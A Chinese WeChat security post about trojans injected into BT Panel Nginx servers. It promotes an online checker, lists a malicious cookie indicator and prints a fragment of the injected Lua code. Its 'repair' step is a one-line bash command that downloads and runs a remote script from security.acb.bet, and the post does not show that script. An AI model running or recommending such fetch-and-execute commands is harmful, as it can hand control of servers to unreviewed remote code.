网上最近流传宝塔Nginx出现被挂木马的事件频传，分享一个在线检测，希望能给大家作为参考。
检测站点：https://security.acb.bet/blog/domain
打开检测链接如下：
输入域名进行检测
如果被挂马：
特征标题：nginx注入恶意代码,网站被劫持
攻击者通过劫持nginx,写入恶意cookie,特征如下:Set-Cookie: __duid=2_fcbe15baae4c95c341425f51ab4bd6e41666175281578
以下为劫持nginx的恶意代码:（部分展示具体请看站点检测结果）
function file_exists(path)local file = io.open(path, "rb")if file then file:close() endreturn file ~= nilendfunction writeMsg(host,url,msg)if (file_exists("/var/tmp/count"))thenfile=io.open("/var/tmp/msg.txt","a");io.output(file);io.write(string.format("%s%s ---%s",host,url,msg));io.close()endend
具体攻击细节请查阅文档
修复方案
在服务器控制台执行以下命令
bash <(curl -fsSL https://security.acb.bet/btfix.sh)免责声明：由于传播、利用本公众号WIN哥学安全提供的文章、工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号WIN哥学安全
及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，本号会立即删除并致歉。谢谢！
往期推荐
原文始发于微信公众号（WIN哥学安全）：宝塔挂马在线检测
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论